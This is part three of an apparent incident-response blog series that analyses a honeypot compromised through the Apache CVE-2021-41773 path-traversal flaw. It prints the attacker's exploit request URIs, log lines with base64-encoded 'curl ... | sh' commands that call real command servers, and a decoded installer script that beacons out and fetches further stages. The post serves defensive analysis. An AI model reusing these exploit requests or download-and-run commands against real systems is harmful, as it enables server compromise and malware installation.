Hudak’s Honeypot (Part 3)

This is part three in a series. Follow these links for part one and part two.

During our triage of the UAC data from the honeypot, we noted a process hierarchy running from the deleted /var/tmp/.log/101068/.spoollog directory. Shell process PID 20645 was the parent process of PID 6388, “sleep 300”. Both processes were started on Nov 14 and ran as “daemon”, the same user as the vulnerable web server on the honeypot.

Digging deeper into the UAC data, …/live_response/process/proc/20645/environ.txt provides some more clues about how this process hierarchy started. I’m reorganizing and reproducing some of the more useful data from this file below:

REMOTE_ADDR=116.202.187.77
REMOTE_PORT=56590
HTTP_USER_AGENT=curl/7.79.1

HOME=/var/tmp/.log/101068/.spoollog/.api
PWD=/var/tmp/.log/101068/.spoollog
OLDPWD=/var/tmp
PYTHONUSERBASE=/var/tmp/.log/101068/.spoollog/.api/.mnc

REQUEST_METHOD=POST
REQUEST_URI=/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
SCRIPT_NAME=/cgi-bin/../../../../bin/sh
SCRIPT_FILENAME=/bin/sh
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/

You can see the typical pattern for the CVE-2021-41773 RCE exploit in the request URI. The home directory and other directory paths match the deleted directory we observed elsewhere in the UAC data. And we can see the source of the malicious request is 116.202.187.77, which according to WHOIS belongs to a German hosting provider, Hetzner.

Nov 14 – So much base64 encoded shell code

Pivoting into the honeypot web logs under /var/log/apache2, we find 80 requests from this IP. There are four requests on Nov 14:

116.202.187.77 - - [14/Nov/2021:01:10:17 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 9 "-" "curl/7.79.1"
116.202.187.77 - - [14/Nov/2021:01:14:04 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 11 "-" "curl/7.79.1"
116.202.187.77 - - [14/Nov/2021:01:25:50 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 5 "-" "curl/7.79.1"
116.202.187.77 - - [14/Nov/2021:03:12:39 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 24 "-" "curl/7.79.1"

The remaining web requests are all from Nov 27 – Dec 1.

But it’s the mod_dumpio data in the error_log that’s really interesting:

[Sun Nov 14 01:10:17.692078 2021]  A=|echo;echo vulnable
[Sun Nov 14 01:14:04.802548 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;curl -s http://116.203.212.184/1010/b64.php -u client:%@123-456@% --data-urlencode 's=aWYgWyAhICIkKHBzIGF1eCB8IGdyZXAgLXYgZ3JlcCB8IGdyZXAgJy5zcmMuc2gnKSIgXTsgdGhlbgoJcHJpbnRmICViICJubyBwcm9jZXNzXG4iCmVsc2UKCXByaW50ZiAlYiAicnVubmluZ1xuIgpmaQo=' | sh
[Sun Nov 14 01:25:50.735008 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;curl -s http://116.203.212.184/1010/b64.php -u client:%@123-456@% --data-urlencode 's=UEFUSD0vc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2JpbjtpcGF0aD0nbnVsbCc7IGZvciBsaW5lIGluICQoZmluZCAvdmFyL2xvZyAtdHlwZSBkIDI+IC9kZXYvbnVsbCk7IGRvIGlmIFsgLXcgJGxpbmUgXTsgdGhlbiBpcGF0aD0kbGluZTsgYnJlYWs7IGZpOyBkb25lOyBpZiBbICIkaXBhdGgiID0gIm51bGwiIF07IHRoZW4gaXBhdGg9JChjYXQgL2V0Yy9wYXNzd2QgfCBncmVwICJeJCh3aG9hbWkpIiB8IGN1dCAtZDogLWY2KTsgZm9yIGxpbmUgaW4gJChmaW5kICRpcGF0aCAtdHlwZSBkIDI+IC9kZXYvbnVsbCk7IGRvIGlmIFsgLXcgJGxpbmUgXTsgdGhlbiBpcGF0aD0kbGluZTsgYnJlYWs7IGZpOyBkb25lOyBpZiBbICEgLXcgJGlwYXRoIF07IHRoZW4gaXBhdGg9Jy92YXIvdG1wJzsgaWYgWyAhIC13ICRpcGF0aCBdOyB0aGVuIGlwYXRoPScvdG1wJzsgZmk7IGZpOyBmaTsgaWYgWyAhICIkKHBzIGF1eCB8IGdyZXAgLXYgZ3JlcCB8IGdyZXAgJy5zcmMuc2gnKSIgXTsgdGhlbiBjZCAkaXBhdGggJiYgaWYgWyAhIC1kICIubG9nLzEwMTA2OCIgXTsgdGhlbiBpPTEwMTAwMDt3aGlsZSBbICRpIC1uZSAxMDExMDAgXTsgZG8gaT0kKCgkaSsxKSk7IG1rZGlyIC1wIC5sb2cvJGkvLnNwb29sbG9nOyBkb25lICYmIGNkIC5sb2cvMTAxMDY4Ly5zcG9vbGxvZyAmJiBlY2hvICdhcGFjaGUnID4gLnBpbmZvICYmIENVUkw9ImN1cmwiO0RPTT0icnIuYmx1ZWhlYXZlbi5saXZlIjtvdXQ9JChjdXJsIC1zIC0tY29ubmVjdC10aW1lb3V0IDMgaHR0cDovL3JyLmJsdWVoZWF2ZW4ubGl2ZS8xMDEwL29ubGluZS5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIDI+IC9kZXYvbnVsbCk7ZW5hYmxlPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzFdfScpO29ubGluZT0kKGVjaG8gJG91dCB8IGF3ayAne3NwbGl0KCQwLGEsIiwiKTsgcHJpbnQgYVsyXX0nKTsgaWYgWyAhICIkZW5hYmxlIiAtZXEgIjEiIC1hICEgIiRvbmxpbmUiIC1lcSAiMSIgXTsgdGhlbiBpZmFjZXM9IiI7IGlmIFsgIiQoY29tbWFuZCAtdiBpcCAyPiAvZGV2L251bGwpIiBdOyB0aGVuIGlmYWNlcz0kKGlwIC00IC1vIGEgfCBjdXQgLWQgJyAnIC1mIDIsNyB8IGN1dCAtZCAnLycgLWYgMSB8IGF3ayAtRicgJyAne3ByaW50ICQxfScgfCB0ciAnXG4nICcgJyk7ICBlbHNlIGlmIFsgIiQoY29tbWFuZCAtdiBpZmNvbmZpZyAyPiAvZGV2L251bGwpIiBdOyB0aGVuIGlmYWNlcz0kKGlmY29uZmlnIC1hIHwgZ3JlcCBmbGFncyB8IGF3ayAne3NwbGl0KCQwLGEsIjoiKTsgcHJpbnQgYVsxXX0nIHwgdHIgJ1xuJyAnICcpOyBmaTsgZmk7IGZvciBldGggaW4gJGlmYWNlczsgZG8gb3V0PSQoY3VybCAt
[Sun Nov 14 01:25:50.735041 2021]  cyAtLWludGVyZmFjZSAkZXRoIC0tY29ubmVjdC10aW1lb3V0IDMgaHR0cDovLzExNi4yMDMuMjEyLjE4NC8xMDEwL29ubGluZS5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIDI+IC9kZXYvbnVsbCk7IGVuYWJsZT0kKGVjaG8gJG91dCB8IGF3ayAne3NwbGl0KCQwLGEsIiwiKTsgcHJpbnQgYVsxXX0nKTsgb25saW5lPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzJdfScpOyBpZiBbICIkZW5hYmxlIiA9PSAiMSIgLWEgIiRvbmxpbmUiIC1lcSAiMSIgXTsgdGhlbiBlY2hvICIkZXRoIiA+IC5pbnRlcmZhY2U7IGJyZWFrOyBmaTsgZG9uZTsgZmk7IGlmIFsgLWYgIi5pbnRlcmZhY2UiIF07IHRoZW4gQ1VSTD0iY3VybCAtLWludGVyZmFjZSAiJChjYXQgLmludGVyZmFjZSAyPiAvZGV2L251bGwpOyBET009IjExNi4yMDMuMjEyLjE4NCI7IGZpOyAkQ1VSTCAtcyBodHRwOi8vJERPTS8xMDEwL2I2NC5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIC0tZGF0YS11cmxlbmNvZGUgJ3M9VUVGVVNEMHZjMkpwYmpvdlltbHVPaTkxYzNJdmMySnBiam92ZFhOeUwySnBiam92ZFhOeUwyeHZZMkZzTDJKcGJncERWVkpNUFNKamRYSnNJZ3BFVDAwOUluSnlMbUpzZFdWb1pXRjJaVzR1YkdsMlpTSUtDbkJyYVd4c0lDMDVJQzFtSUNJdWMzSmpMbk5vSWdwd2EybHNiQ0F0T1NBdFppQWljSEJ5YjNoNUlncHZkWFE5SkNoamRYSnNJQzF6SUMwdFkyOXVibVZqZEMxMGFXMWxiM1YwSURVZ2FIUjBjRG92TDNKeUxtSnNkV1ZvWldGMlpXNHViR2wyWlM4eE1ERXdMMjl1YkdsdVpTNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElESStJQzlrWlhZdmJuVnNiQ2tLWlc1aFlteGxQU1FvWldOb2J5QWtiM1YwSUh3Z1lYZHJJQ2Q3YzNCc2FYUW9KREFzWVN3aUxDSXBPeUJ3Y21sdWRDQmhXekZkZlNjcENtOXViR2x1WlQwa0tHVmphRzhnSkc5MWRDQjhJR0YzYXlBbmUzTndiR2wwS0NRd0xHRXNJaXdpS1RzZ2NISnBiblFnWVZzeVhYMG5LUXBwWmlCYklDRWdJaVJsYm1GaWJHVWlJQzFsY1NBaU1TSWdMV0VnSVNBaUpHOXViR2x1WlNJZ0xXVnhJQ0l4SWlCZE95QjBhR1Z1Q2dscFptRmpaWE05SWlJS0NXbG1JRnNnSWlRb1kyOXRiV0Z1WkNBdGRpQnBjQ0F5UGlBdlpHVjJMMjUxYkd3cElpQmRPeUIwYUdWdUNna0phV1poWTJWelBTUW9hWEFnTFRRZ0xXOGdZU0I4SUdOMWRDQXRaQ0FuSUNjZ0xXWWdNaXczSUh3Z1kzVjBJQzFrSUNjdkp5QXRaaUF4SUh3Z1lYZHJJQzFHSnlBbklDZDdjSEpwYm5RZ0pERjlKeUI4SUhSeUlDZGNiaWNnSnlBbktRb0paV3h6WlFvSkNXbG1JRnNnSWlRb1kyOXRiV0Z1WkNBdGRpQnBabU52Ym1acFp5QXlQaUF2WkdWMkwyNTFiR3dwSWlCZE95QjBhR1Z1Q2drSkNXbG1ZV05sY3owa0tHbG1ZMjl1Wm1sbklDMWhJSHdnWjNKbGNDQm1iR0ZuY3lCOElHRjNheUFuZTNOd2JHbDBLQ1F3TEdFc0lqb2lLVHNnY0hKcGJuUWdZVnN4WFgwbklId2dkSElnSjF4dUp5QW5J
[Sun Nov 14 01:25:50.735078 2021]  Q2NwQ2drSlpta0tDV1pwQ2dsbWIzSWdaWFJvSUdsdUlDUnBabUZqWlhNN0lHUnZDZ2tKYjNWMFBTUW9ZM1Z5YkNBdGN5QXRMV2x1ZEdWeVptRmpaU0FrWlhSb0lDMHRZMjl1Ym1WamRDMTBhVzFsYjNWMElEVWdhSFIwY0Rvdkx6RXhOaTR5TURNdU1qRXlMakU0TkM4eE1ERXdMMjl1YkdsdVpTNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElESStJQzlrWlhZdmJuVnNiQ2tLQ1FsbGJtRmliR1U5SkNobFkyaHZJQ1J2ZFhRZ2ZDQmhkMnNnSjN0emNHeHBkQ2drTUN4aExDSXNJaWs3SUhCeWFXNTBJR0ZiTVYxOUp5a0tDUWx2Ym14cGJtVTlKQ2hsWTJodklDUnZkWFFnZkNCaGQyc2dKM3R6Y0d4cGRDZ2tNQ3hoTENJc0lpazdJSEJ5YVc1MElHRmJNbDE5SnlrS0NRbHBaaUJiSUNJa1pXNWhZbXhsSWlBOVBTQWlNU0lnTFdFZ0lpUnZibXhwYm1VaUlEMDlJQ0l4SWlCZE95QjBhR1Z1Q2drSkNXVmphRzhnSWlSbGRHZ2lJRDRnTG1sdWRHVnlabUZqWlFvSkNRbGljbVZoYXdvSkNXWnBDZ2xrYjI1bENtWnBDZ3BwWmlCYklDMW1JQ0l1YVc1MFpYSm1ZV05sSWlCZE95QjBhR1Z1Q2dsRFZWSk1QU0pqZFhKc0lDMHRhVzUwWlhKbVlXTmxJQ0lrS0dOaGRDQXVhVzUwWlhKbVlXTmxJREkrSUM5a1pYWXZiblZzYkNrS0NVUlBUVDBpTVRFMkxqSXdNeTR5TVRJdU1UZzBJZ3BtYVFvS2IzVjBQU1FvSkVOVlVrd2dMWE1nYUhSMGNEb3ZMeVJFVDAwdk1UQXhNQzl6Y21NdWNHaHdJQzExSUdOc2FXVnVkRG9sUURFeU15MDBOVFpBSlNBeVBpQXZaR1YyTDI1MWJHd3BDbVZ1WVdKc1pUMGtLR1ZqYUc4Z0pHOTFkQ0I4SUdGM2F5QW5lM053YkdsMEtDUXdMR0VzSWl3aUtUc2djSEpwYm5RZ1lWc3hYWDBuS1FwaVlYTmxQU1FvWldOb2J5QWtiM1YwSUh3Z1lYZHJJQ2Q3YzNCc2FYUW9KREFzWVN3aUxDSXBPeUJ3Y21sdWRDQmhXekpkZlNjcENtbG1JRnNnSWlSbGJtRmliR1VpSUMxbGNTQWlNU0lnWFRzZ2RHaGxiZ29KY20wZ0xYSm1JQzV0YVc1cFkyOXVaR0V1YzJnZ0xtRndhU0F1YVhCcFpDQXVjM0JwWkNBdVkzSnZiaTV6YUNBdWMzSmpMbk5vT3lBa1ExVlNUQ0F0Y3lCb2RIUndPaTh2SkVSUFRTOHhNREV3TDJJMk5DNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElDMHRaR0YwWVMxMWNteGxibU52WkdVZ0luTTlKR0poYzJVaUlDMXZJQzV6Y21NdWMyZ2dNajRnTDJSbGRpOXVkV3hzSUNZbUlHTm9iVzlrSUN0NElDNXpjbU11YzJnZ1BpQXZaR1YyTDI1MWJHd2dNajRtTVFvSmMyZ2dMbk55WXk1emFDQStJQzlrWlhZdmJuVnNiQ0F5UGlZeElDWUtabWtLY20wZ0xYSm1JQzVwYm5OMFlXeHNDZz09JyAtbyAuaW5zdGFsbDsgY2htb2QgK3ggLmluc3RhbGw7IHNoIC5pbnN0YWxsID4gL2Rldi9udWxsIDI+JjEgJiBlY2hvICdEb25lJzsgZWxzZSBlY2hvICdBbHJlYWR5IGluc3RhbGwuIFN0YXJ0ZWQnOyBjZCAubG9nLzEwMTA2OC8uc3Bvb2xsb2cgJiYgc2ggLmNyb24uc2ggPiAvZGV2L251bGwgMj4mMSAmIGZp
[Sun Nov 14 01:25:50.735111 2021]  OyBlbHNlIGVjaG8gJ0FscmVhZHkgaW5zdGFsbCBSdW5uaW5nJztmaQ==' | sh 2>&1
[Sun Nov 14 03:12:39.237848 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;curl -s http://116.203.212.184/1010/b64.php -u client:%@123-456@% --data-urlencode 's=UEFUSD0vc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2JpbjtpcGF0aD0nbnVsbCc7IGZvciBsaW5lIGluICQoZmluZCAvdmFyL2xvZyAtdHlwZSBkIDI+IC9kZXYvbnVsbCk7IGRvIGlmIFsgLXcgJGxpbmUgXTsgdGhlbiBpcGF0aD0kbGluZTsgYnJlYWs7IGZpOyBkb25lOyBpZiBbICIkaXBhdGgiID0gIm51bGwiIF07IHRoZW4gaXBhdGg9JChjYXQgL2V0Yy9wYXNzd2QgfCBncmVwICJeJCh3aG9hbWkpIiB8IGN1dCAtZDogLWY2KTsgZm9yIGxpbmUgaW4gJChmaW5kICRpcGF0aCAtdHlwZSBkIDI+IC9kZXYvbnVsbCk7IGRvIGlmIFsgLXcgJGxpbmUgXTsgdGhlbiBpcGF0aD0kbGluZTsgYnJlYWs7IGZpOyBkb25lOyBpZiBbICEgLXcgJGlwYXRoIF07IHRoZW4gaXBhdGg9Jy92YXIvdG1wJzsgaWYgWyAhIC13ICRpcGF0aCBdOyB0aGVuIGlwYXRoPScvdG1wJzsgZmk7IGZpOyBmaQppZiBbICEgIiQocHMgYXV4IHwgZ3JlcCAtdiBncmVwIHwgZ3JlcCAnLnNyYy5zaCcpIiBdOyB0aGVuIAoJY2QgJGlwYXRoCglpZiBbICEgLWYgIi5sb2cvMTAxMDY4Ly5zcG9vbGxvZy8uc3JjLnNoIiAtbyAhIC1mICIubG9nLzEwMTA2OC8uc3Bvb2xsb2cvLmNyb24uc2giIF07IHRoZW4KCQlpZiBbICEgLWQgIi5sb2cvMTAxMDY4Ly5zcG9vbGxvZyIgXTsgdGhlbiAKCQkJaT0xMDEwMDA7d2hpbGUgWyAkaSAtbmUgMTAxMTAwIF07IGRvIGk9JCgoJGkrMSkpOyBta2RpciAtcCAubG9nLyRpLy5zcG9vbGxvZzsgZG9uZQoJCWZpCgkJY2QgLmxvZy8xMDEwNjgvLnNwb29sbG9nICYmIGVjaG8gJ2FwYWNoZScgPiAucGluZm8gJiYgQ1VSTD0iY3VybCI7RE9NPSJyci5ibHVlaGVhdmVuLmxpdmUiO291dD0kKGN1cmwgLXMgLS1jb25uZWN0LXRpbWVvdXQgMyBodHRwOi8vcnIuYmx1ZWhlYXZlbi5saXZlLzEwMTAvb25saW5lLnBocCAtdSBjbGllbnQ6JUAxMjMtNDU2QCUgMj4gL2Rldi9udWxsKTtlbmFibGU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMV19Jyk7b25saW5lPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzJdfScpOyBpZiBbICEgIiRlbmFibGUiIC1lcSAiMSIgLWEgISAiJG9ubGluZSIgLWVxICIxIiBdOyB0aGVuIGlmYWNlcz0iIjsgaWYgWyAiJChjb21tYW5kIC12IGlwIDI+IC9kZXYvbnVsbCkiIF07IHRoZW4gaWZhY2VzPSQoaXAgLTQgLW8gYSB8IGN1dCAtZCAnICcgLWYgMiw3IHwgY3V0IC1kICcvJyAtZiAxIHwgYXdrIC1GJyAnICd7cHJpbnQgJDF9JyB8IHRyICdcbicgJyAnKTsgIGVsc2UgaWYgWyAiJChjb21tYW5kIC12IGlmY29uZmlnIDI+IC9kZXYvbnVsbCkiIF07IHRoZW4gaWZhY2VzPSQoaWZjb25maWcgLWEg
[Sun Nov 14 03:12:39.237940 2021]  fCBncmVwIGZsYWdzIHwgYXdrICd7c3BsaXQoJDAsYSwiOiIpOyBwcmludCBhWzFdfScgfCB0ciAnXG4nICcgJyk7IGZpOyBmaTsgZm9yIGV0aCBpbiAkaWZhY2VzOyBkbyBvdXQ9JChjdXJsIC1zIC0taW50ZXJmYWNlICRldGggLS1jb25uZWN0LXRpbWVvdXQgMyBodHRwOi8vMTE2LjIwMy4yMTIuMTg0LzEwMTAvb25saW5lLnBocCAtdSBjbGllbnQ6JUAxMjMtNDU2QCUgMj4gL2Rldi9udWxsKTsgZW5hYmxlPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzFdfScpOyBvbmxpbmU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMl19Jyk7IGlmIFsgIiRlbmFibGUiID09ICIxIiAtYSAiJG9ubGluZSIgLWVxICIxIiBdOyB0aGVuIGVjaG8gIiRldGgiID4gLmludGVyZmFjZTsgYnJlYWs7IGZpOyBkb25lOyBmaTsgaWYgWyAtZiAiLmludGVyZmFjZSIgXTsgdGhlbiBDVVJMPSJjdXJsIC0taW50ZXJmYWNlICIkKGNhdCAuaW50ZXJmYWNlIDI+IC9kZXYvbnVsbCk7IERPTT0iMTE2LjIwMy4yMTIuMTg0IjsgZmk7ICRDVVJMIC1zIGh0dHA6Ly8kRE9NLzEwMTAvYjY0LnBocCAtdSBjbGllbnQ6JUAxMjMtNDU2QCUgLS1kYXRhLXVybGVuY29kZSAncz1VRUZVU0QwdmMySnBiam92WW1sdU9pOTFjM0l2YzJKcGJqb3ZkWE55TDJKcGJqb3ZkWE55TDJ4dlkyRnNMMkpwYmdwRFZWSk1QU0pqZFhKc0lncEVUMDA5SW5KeUxtSnNkV1ZvWldGMlpXNHViR2wyWlNJS0NuQnJhV3hzSUMwNUlDMW1JQ0l1YzNKakxuTm9JZ3B3YTJsc2JDQXRPU0F0WmlBaWNIQnliM2g1SWdwdmRYUTlKQ2hqZFhKc0lDMXpJQzB0WTI5dWJtVmpkQzEwYVcxbGIzVjBJRFVnYUhSMGNEb3ZMM0p5TG1Kc2RXVm9aV0YyWlc0dWJHbDJaUzh4TURFd0wyOXViR2x1WlM1d2FIQWdMWFVnWTJ4cFpXNTBPaVZBTVRJekxUUTFOa0FsSURJK0lDOWtaWFl2Ym5Wc2JDa0taVzVoWW14bFBTUW9aV05vYnlBa2IzVjBJSHdnWVhkcklDZDdjM0JzYVhRb0pEQXNZU3dpTENJcE95QndjbWx1ZENCaFd6RmRmU2NwQ205dWJHbHVaVDBrS0dWamFHOGdKRzkxZENCOElHRjNheUFuZTNOd2JHbDBLQ1F3TEdFc0lpd2lLVHNnY0hKcGJuUWdZVnN5WFgwbktRcHBaaUJiSUNFZ0lpUmxibUZpYkdVaUlDMWxjU0FpTVNJZ0xXRWdJU0FpSkc5dWJHbHVaU0lnTFdWeElDSXhJaUJkT3lCMGFHVnVDZ2xwWm1GalpYTTlJaUlLQ1dsbUlGc2dJaVFvWTI5dGJXRnVaQ0F0ZGlCcGNDQXlQaUF2WkdWMkwyNTFiR3dwSWlCZE95QjBhR1Z1Q2drSmFXWmhZMlZ6UFNRb2FYQWdMVFFnTFc4Z1lTQjhJR04xZENBdFpDQW5JQ2NnTFdZZ01pdzNJSHdnWTNWMElDMWtJQ2N2SnlBdFppQXhJSHdnWVhkcklDMUdKeUFuSUNkN2NISnBiblFnSkRGOUp5QjhJSFJ5SUNkY2JpY2dKeUFuS1FvSlpXeHpaUW9KQ1dsbUlGc2dJaVFvWTI5dGJXRnVaQ0F0ZGlCcFptTnZibVpwWnlBeVBpQXZaR1YyTDI1MWJHd3BJaUJkT3lCMGFHVnVDZ2tKQ1ds
[Sun Nov 14 03:12:39.237980 2021]  bVlXTmxjejBrS0dsbVkyOXVabWxuSUMxaElId2daM0psY0NCbWJHRm5jeUI4SUdGM2F5QW5lM053YkdsMEtDUXdMR0VzSWpvaUtUc2djSEpwYm5RZ1lWc3hYWDBuSUh3Z2RISWdKMXh1SnlBbklDY3BDZ2tKWm1rS0NXWnBDZ2xtYjNJZ1pYUm9JR2x1SUNScFptRmpaWE03SUdSdkNna0piM1YwUFNRb1kzVnliQ0F0Y3lBdExXbHVkR1Z5Wm1GalpTQWtaWFJvSUMwdFkyOXVibVZqZEMxMGFXMWxiM1YwSURVZ2FIUjBjRG92THpFeE5pNHlNRE11TWpFeUxqRTROQzh4TURFd0wyOXViR2x1WlM1d2FIQWdMWFVnWTJ4cFpXNTBPaVZBTVRJekxUUTFOa0FsSURJK0lDOWtaWFl2Ym5Wc2JDa0tDUWxsYm1GaWJHVTlKQ2hsWTJodklDUnZkWFFnZkNCaGQyc2dKM3R6Y0d4cGRDZ2tNQ3hoTENJc0lpazdJSEJ5YVc1MElHRmJNVjE5SnlrS0NRbHZibXhwYm1VOUpDaGxZMmh2SUNSdmRYUWdmQ0JoZDJzZ0ozdHpjR3hwZENna01DeGhMQ0lzSWlrN0lIQnlhVzUwSUdGYk1sMTlKeWtLQ1FscFppQmJJQ0lrWlc1aFlteGxJaUE5UFNBaU1TSWdMV0VnSWlSdmJteHBibVVpSUQwOUlDSXhJaUJkT3lCMGFHVnVDZ2tKQ1dWamFHOGdJaVJsZEdnaUlENGdMbWx1ZEdWeVptRmpaUW9KQ1FsaWNtVmhhd29KQ1dacENnbGtiMjVsQ21acENncHBaaUJiSUMxbUlDSXVhVzUwWlhKbVlXTmxJaUJkT3lCMGFHVnVDZ2xEVlZKTVBTSmpkWEpzSUMwdGFXNTBaWEptWVdObElDSWtLR05oZENBdWFXNTBaWEptWVdObElESStJQzlrWlhZdmJuVnNiQ2tLQ1VSUFRUMGlNVEUyTGpJd015NHlNVEl1TVRnMElncG1hUW9LYjNWMFBTUW9KRU5WVWt3Z0xYTWdhSFIwY0Rvdkx5UkVUMDB2TVRBeE1DOXpjbU11Y0dod0lDMTFJR05zYVdWdWREb2xRREV5TXkwME5UWkFKU0F5UGlBdlpHVjJMMjUxYkd3cENtVnVZV0pzWlQwa0tHVmphRzhnSkc5MWRDQjhJR0YzYXlBbmUzTndiR2wwS0NRd0xHRXNJaXdpS1RzZ2NISnBiblFnWVZzeFhYMG5LUXBpWVhObFBTUW9aV05vYnlBa2IzVjBJSHdnWVhkcklDZDdjM0JzYVhRb0pEQXNZU3dpTENJcE95QndjbWx1ZENCaFd6SmRmU2NwQ21sbUlGc2dJaVJsYm1GaWJHVWlJQzFsY1NBaU1TSWdYVHNnZEdobGJnb0pjbTBnTFhKbUlDNXRhVzVwWTI5dVpHRXVjMmdnTG1Gd2FTQXVhWEJwWkNBdWMzQnBaQ0F1WTNKdmJpNXphQ0F1YzNKakxuTm9PeUFrUTFWU1RDQXRjeUJvZEhSd09pOHZKRVJQVFM4eE1ERXdMMkkyTkM1d2FIQWdMW
[Sun Nov 14 03:12:39.238012 2021]  FVnWTJ4cFpXNTBPaVZBTVRJekxUUTFOa0FsSUMwdFpHRjBZUzExY214bGJtTnZaR1VnSW5NOUpHSmhjMlVpSUMxdklDNXpjbU11YzJnZ01qNGdMMlJsZGk5dWRXeHNJQ1ltSUdOb2JXOWtJQ3Q0SUM1emNtTXVjMmdnUGlBdlpHVjJMMjUxYkd3Z01qNG1NUW9KYzJnZ0xuTnlZeTV6YUNBK0lDOWtaWFl2Ym5Wc2JDQXlQaVl4SUNZS1pta0tjbTBnTFhKbUlDNXBibk4wWVd4c0NnPT0nIC1vIC5pbnN0YWxsOyBjaG1vZCAreCAuaW5zdGFsbDsgc2ggLmluc3RhbGwgPiAvZGV2L251bGwgMj4mMSAmIAoJCWVjaG8gJ0RvbmUnCgllbHNlCgkJZWNobyAnQWxyZWFkeSBpbnN0YWxsLiBTdGFydGVkJzsgY2QgLmxvZy8xMDEwNjgvLnNwb29sbG9nICYmIHNoIC5jcm9uLnNoID4gL2Rldi9udWxsIDI+JjEgJiAKCWZpCmVsc2UgCgllY2hvICdBbHJlYWR5IGluc3RhbGwgUnVubmluZycKZmkK' | sh 2>&1

After an initial check to see if the web server is vulnerable, the next three requests attempt to launch encoded scripts by bouncing the decoding off the URL hxxp://116.203.212.184/1010/b64.php. The hard-coded IP in the URL is owned by the same hosting provider as the IP of the original request. Also note the possibly unique client ID “client:%@123-456@%” in the requests.

Decoding the first request, we get back a simple script that checks to see if a process named “.src.sh” is already running:

if [ ! "$(ps aux | grep -v grep | grep '.src.sh')" ]; then
        printf %b "no process\n"
else
        printf %b "running\n"
fi

Then there are web requests at 01:25 and 03:12 with much larger encoded blobs. Decoding both blobs, we find essentially the same script with minor modifications. Here’s the script from the 01:25 web request, which I’ve decoded and reformatted for easier reading:

PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;

ipath='null';
for line in $(find /var/log -type d 2> /dev/null); do
    if [ -w $line ]; then
        ipath=$line;
        break;
    fi;
done;

if [ "$ipath" = "null" ]; then
    ipath=$(cat /etc/passwd | grep "^$(whoami)" | cut -d: -f6);
    for line in $(find $ipath -type d 2> /dev/null); do
        if [ -w $line ]; then
            ipath=$line;
            break;
        fi;
    done;

    if [ ! -w $ipath ]; then
        ipath='/var/tmp';
        if [ ! -w $ipath ]; then
            ipath='/tmp';
        fi;
    fi;
fi;

if [ ! "$(ps aux | grep -v grep | grep '.src.sh')" ]; then
    cd $ipath &&
    if [ ! -d ".log/101068" ]; then
        i=101000;
        while [ $i -ne 101100 ]; do
            i=$(($i+1));
            mkdir -p .log/$i/.spoollog;
        done &&
        cd .log/101068/.spoollog &&
        echo 'apache' > .pinfo &&
        CURL="curl";
        DOM="rr.blueheaven.live";
        out=$(curl -s --connect-timeout 3 http://rr.blueheaven.live/1010/online.php -u client:%@123-456@% 2> /dev/null);
        enable=$(echo $out | awk '{split($0,a,","); print a[1]}');
        online=$(echo $out | awk '{split($0,a,","); print a[2]}');
        if [ ! "$enable" -eq "1" -a ! "$online" -eq "1" ]; then
            ifaces="";
            if [ "$(command -v ip 2> /dev/null)" ]; then
                ifaces=$(ip -4 -o a | cut -d ' ' -f 2,7 | cut -d '/' -f 1 | awk -F' ' '{print $1}' | tr '\n' ' ');
            else if [ "$(command -v ifconfig 2> /dev/null)" ]; then
                ifaces=$(ifconfig -a | grep flags | awk '{split($0,a,":"); print a[1]}' | tr '\n' ' ');
            fi;
        fi;

        for eth in $ifaces; do
            out=$(curl -s --interface $eth --connect-timeout 3 http://116.203.212.184/1010/online.php -u client:%@123-456@% 2> /dev/null);
            enable=$(echo $out | awk '{split($0,a,","); print a[1]}');
            online=$(echo $out | awk '{split($0,a,","); print a[2]}');
            if [ "$enable" == "1" -a "$online" -eq "1" ]; then
                echo "$eth" > .interface;
                break;
            fi;
        done;
    fi;

    if [ -f ".interface" ]; then
        CURL="curl --interface "$(cat .interface 2> /dev/null);
        DOM="116.203.212.184";
    fi;
